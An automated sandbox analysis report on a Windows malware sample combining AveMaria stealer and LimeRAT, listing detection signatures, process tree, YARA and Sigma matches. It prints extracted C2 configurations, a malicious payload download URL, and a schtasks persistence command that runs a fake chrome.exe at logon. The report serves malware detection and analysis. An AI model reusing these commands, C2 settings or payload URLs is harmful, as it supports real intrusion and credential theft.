Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
DocumentoSENAMHI20222103.exe

Overview

General Information

Sample Name:DocumentoSENAMHI20222103.exe
Analysis ID:593268
MD5:81ba3d2de48272d692c4e6604e6b1db9
SHA1:921e7008881d5e0e9a788ee310ddef60b343c647
SHA256:eef5ae48384a5c5dff5d4c7b1a768c4eb1fe5d3df0347c85c9c1b404327dbba9
Infos:

Detection

AveMaria LimeRAT UACMe
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Yara detected LimeRAT
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected UACMe UAC Bypass tool
Yara detected AveMaria stealer
Multi AV Scanner detection for dropped file
Initial sample is a PE file and has a suspicious name
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
.NET source code contains potential unpacker
Hides that the sample has been downloaded from the Internet (zone.identifier)
Connects to a pastebin service (likely for C&C)
Uses schtasks.exe or at.exe to add and modify task schedules
Sigma detected: Suspicious Add Scheduled Task From User AppData Temp
Protects its processes via BreakOnTermination flag
.NET source code references suspicious native API functions
Contains functionality to hide user accounts
Machine Learning detection for dropped file
C2 URLs / IPs found in malware configuration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
Downloads executable code via HTTP
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Dropped file seen in connection with other malware
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Sigma detected: Suspicious Add Scheduled Task Parent
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Enables debug privileges
AV process strings found (often used to terminate AV products)
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64native
  • DocumentoSENAMHI20222103.exe (PID: 6576 cmdline: "C:\Users\user\Desktop\DocumentoSENAMHI20222103.exe" MD5: 81BA3D2DE48272D692C4E6604E6B1DB9)
    • cmd.exe (PID: 1033668 cmdline: C:\Windows\System32\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1033676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
    • wtqsCpda..exe (PID: 1033924 cmdline: "C:\Users\user\AppData\Roaming\wtqsCpda..exe" MD5: 3D7801D573CAB12F3093C219EBFE495C)
      • schtasks.exe (PID: 1034124 cmdline: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'" MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)
        • conhost.exe (PID: 1034132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • chrome.exe (PID: 6672 cmdline: "C:\Users\user\AppData\Local\Temp\chrome.exe" MD5: 3D7801D573CAB12F3093C219EBFE495C)
  • chrome.exe (PID: 1034204 cmdline: C:\Users\user\AppData\Local\Temp\chrome.exe MD5: 3D7801D573CAB12F3093C219EBFE495C)
  • cleanup

Malware Configuration

Threatname: LimeRAT

{"C2 url": "https://pastebin.com/raw/03PEm7js", "AES Key": "150797", "ENDOF": "|'N'|", "Seprator": "|'L'|", "Install File": "True", "Install Dir": "temp", "Version": "v4.0"}

Threatname: AveMaria

{"C2 url": "172.111.242.20", "port": 2031}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\chrome.exeJoeSecurity_LimeRATYara detected LimeRATJoe Security
    C:\Users\user\AppData\Local\Temp\chrome.exeMALWARE_Win_LimeRATLimeRAT payloadditekSHen
    • 0x66dc:$s1: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr
    • 0x5efa:$s2: \vboxhook.dll
    • 0x63a2:$s3: Win32_Processor.deviceid="CPU0"
    • 0x62c4:$s4: select CommandLine from Win32_Process where Name='{0}'
    • 0x6380:$s5: Minning...
    • 0x6332:$s6: Regasm.exe
    • 0x67de:$s7: Flood!
    • 0x61c4:$s8: Rans-Status
    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeJoeSecurity_LimeRATYara detected LimeRATJoe Security
      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeMALWARE_Win_LimeRATLimeRAT payloadditekSHen
      • 0x66dc:$s1: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr
      • 0x5efa:$s2: \vboxhook.dll
      • 0x63a2:$s3: Win32_Processor.deviceid="CPU0"
      • 0x62c4:$s4: select CommandLine from Win32_Process where Name='{0}'
      • 0x6380:$s5: Minning...
      • 0x6332:$s6: Regasm.exe
      • 0x67de:$s7: Flood!
      • 0x61c4:$s8: Rans-Status
      C:\Users\user\AppData\Roaming\wtqsCpda..exeJoeSecurity_LimeRATYara detected LimeRATJoe Security
        Click to see the 1 entries

        Memory Dumps

        SourceRuleDescriptionAuthorStrings
        00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmpJoeSecurity_LimeRATYara detected LimeRATJoe Security
          00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmpJoeSecurity_AveMariaYara detected AveMaria stealerJoe Security
              00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmpJoeSecurity_LimeRATYara detected LimeRATJoe Security
                00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmpCodoso_Gh0st_1Detects Codoso APT Gh0st MalwareFlorian Roth
                • 0x1972f:$x3: Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}
                • 0x1972f:$c1: Elevation:Administrator!new:
                Click to see the 42 entries

                Unpacked PEs

                SourceRuleDescriptionAuthorStrings
                15.0.wtqsCpda..exe.540000.3.unpackJoeSecurity_LimeRATYara detected LimeRATJoe Security
                  15.0.wtqsCpda..exe.540000.3.unpackMALWARE_Win_LimeRATLimeRAT payloadditekSHen
                  • 0x66dc:$s1: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr
                  • 0x5efa:$s2: \vboxhook.dll
                  • 0x63a2:$s3: Win32_Processor.deviceid="CPU0"
                  • 0x62c4:$s4: select CommandLine from Win32_Process where Name='{0}'
                  • 0x6380:$s5: Minning...
                  • 0x6332:$s6: Regasm.exe
                  • 0x67de:$s7: Flood!
                  • 0x61c4:$s8: Rans-Status
                  19.0.chrome.exe.a20000.0.unpackJoeSecurity_LimeRATYara detected LimeRATJoe Security
                    19.0.chrome.exe.a20000.0.unpackMALWARE_Win_LimeRATLimeRAT payloadditekSHen
                    • 0x66dc:$s1: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr
                    • 0x5efa:$s2: \vboxhook.dll
                    • 0x63a2:$s3: Win32_Processor.deviceid="CPU0"
                    • 0x62c4:$s4: select CommandLine from Win32_Process where Name='{0}'
                    • 0x6380:$s5: Minning...
                    • 0x6332:$s6: Regasm.exe
                    • 0x67de:$s7: Flood!
                    • 0x61c4:$s8: Rans-Status
                    18.2.chrome.exe.760000.0.unpackJoeSecurity_LimeRATYara detected LimeRATJoe Security
                      Click to see the 103 entries

                      Sigma Signatures

                      System Summary

                      barindex
                      Sigma detected: Suspicious Add Scheduled Task From User AppData Temp
                      Source: Process startedAuthor: frack113: Data: Command: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", CommandLine: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wtqsCpda..exe" , ParentImage: C:\Users\user\AppData\Roaming\wtqsCpda..exe, ParentProcessId: 1033924, ProcessCommandLine: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", ProcessId: 1034124
                      Source: Process startedAuthor: Florian Roth: Data: Command: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", CommandLine: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wtqsCpda..exe" , ParentImage: C:\Users\user\AppData\Roaming\wtqsCpda..exe, ParentProcessId: 1033924, ProcessCommandLine: schtasks /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'C:\Users\user\AppData\Local\Temp\chrome.exe'", ProcessId: 1034124
                      Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\wtqsCpda..exe, ProcessId: 1033924, TargetFilename: C:\Users\user\AppData\Local\Temp\chrome.exe
                      Source: Process startedAuthor: frack113: Data: Command: "C:\Users\user\AppData\Local\Temp\chrome.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\chrome.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\chrome.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\chrome.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wtqsCpda..exe" , ParentImage: C:\Users\user\AppData\Roaming\wtqsCpda..exe, ParentProcessId: 1033924, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\chrome.exe" , ProcessId: 6672

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Antivirus detection for URL or domain
                      Source: http://172.111.242.20/Chrome.exeTTC:Avira URL Cloud: Label: malware
                      Source: http://172.111.242.20/Chrome.exerAvira URL Cloud: Label: malware
                      Source: 172.111.242.20Avira URL Cloud: Label: malware
                      Source: http://172.111.242.20/Chrome.exelrAvira URL Cloud: Label: malware
                      Source: http://172.111.242.20/Chrome.exenAvira URL Cloud: Label: malware
                      Source: http://172.111.242.20/Chrome.exeAvira URL Cloud: Label: malware
                      Antivirus detection for dropped file
                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeAvira: detection malicious, Label: TR/Spy.Gen8
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeAvira: detection malicious, Label: TR/Spy.Gen8
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeAvira: detection malicious, Label: TR/Spy.Gen8
                      Found malware configuration
                      Source: 18.2.chrome.exe.760000.0.unpackMalware Configuration Extractor: LimeRAT {"C2 url": "https://pastebin.com/raw/03PEm7js", "AES Key": "150797", "ENDOF": "|'N'|", "Seprator": "|'L'|", "Install File": "True", "Install Dir": "temp", "Version": "v4.0"}
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpackMalware Configuration Extractor: AveMaria {"C2 url": "172.111.242.20", "port": 2031}
                      Multi AV Scanner detection for submitted file
                      Source: DocumentoSENAMHI20222103.exeReversingLabs: Detection: 16%
                      Yara detected AveMaria stealer
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83503240355.00000000013B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Multi AV Scanner detection for dropped file
                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeReversingLabs: Detection: 92%
                      Source: C:\Users\user\AppData\Local\Temp\IconLib.dllMetadefender: Detection: 31%Perma Link
                      Source: C:\Users\user\AppData\Local\Temp\IconLib.dllReversingLabs: Detection: 22%
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeReversingLabs: Detection: 92%
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeReversingLabs: Detection: 92%
                      Machine Learning detection for dropped file
                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exeJoe Sandbox ML: detected
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeJoe Sandbox ML: detected
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeJoe Sandbox ML: detected
                      Source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpackAvira: Label: TR/Redcap.ghjpt
                      Source: 1.0.DocumentoSENAMHI20222103.exe.bd0000.0.unpackAvira: Label: ADWARE/Adware.Gen8
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpackAvira: Label: TR/Patched.Ren.Gen3
                      Source: 1.2.DocumentoSENAMHI20222103.exe.bd0000.0.unpackAvira: Label: ADWARE/Adware.Gen8

                      Exploits

                      barindex
                      Yara detected UACMe UAC Bypass tool
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.13a0000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2ff89af.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000002.83503482474.00000000014EF000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: DocumentoSENAMHI20222103.exe PID: 6576, type: MEMORYSTR
                      Source: unknownHTTPS traffic detected: 104.23.98.190:443 -> 192.168.11.20:49764 version: TLS 1.0
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: DocumentoSENAMHI20222103.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                      Source: Binary string: vcruntime140.i386.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515401149.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: vcruntime140.i386.pdbGCTL source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515401149.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80778848841.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80756890980.0000000006411000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80741387008.0000000006411000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: msvcp140.i386.pdbGCTL source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80780346997.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83518836187.0000000006410000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80780142254.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80773395092.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782629346.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80784310301.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782812675.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.1.dr
                      Source: Binary string: C:\Users\W7H64\Desktop\VCSamples-master\VC2010Samples\ATL\OLEDB\Consumer\MultiRead\no.pdb source: DocumentoSENAMHI20222103.exe
                      Source: Binary string: ]c:\borrar\EmptyDll\Release\EmptyDll.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: USB.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: c:\Users\N A P O L E O N\Desktop\IconLib\obj\Debug\IconLib.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: c:\Users\N A P O L E O N\Desktop\IconLib\obj\Debug\IconLib.pdbd source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.79944286859.0000000005E45000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79950935060.0000000006150000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516008280.000000000603B000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81148238884.0000000006150000.00000040.00001000.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945562253.0000000005E35000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946624029.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941413846.0000000005E44000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79941126369.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79945466909.0000000005E27000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83516925103.00000000060CB000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83517655529.00000000061E8000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.79946513603.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061631920.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81063247218.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81065282469.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81061919496.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.81056282933.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.1.dr
                      Source: Binary string: PIN.pdb source: chrome.exe, 00000012.00000003.82952810978.0000000003C7A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp
                      Source: Binary string: msvcp140.i386.pdb source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80780346997.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83518836187.0000000006410000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80780142254.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80773395092.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782629346.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80784310301.0000000005E59000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000003.80782812675.0000000005E58000.00000004.00000800.00020000.00000000.sdmp, DocumentoSENAMHI20222103.exe, 00000001.00000002.83519503741.0000000006619000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.1.dr
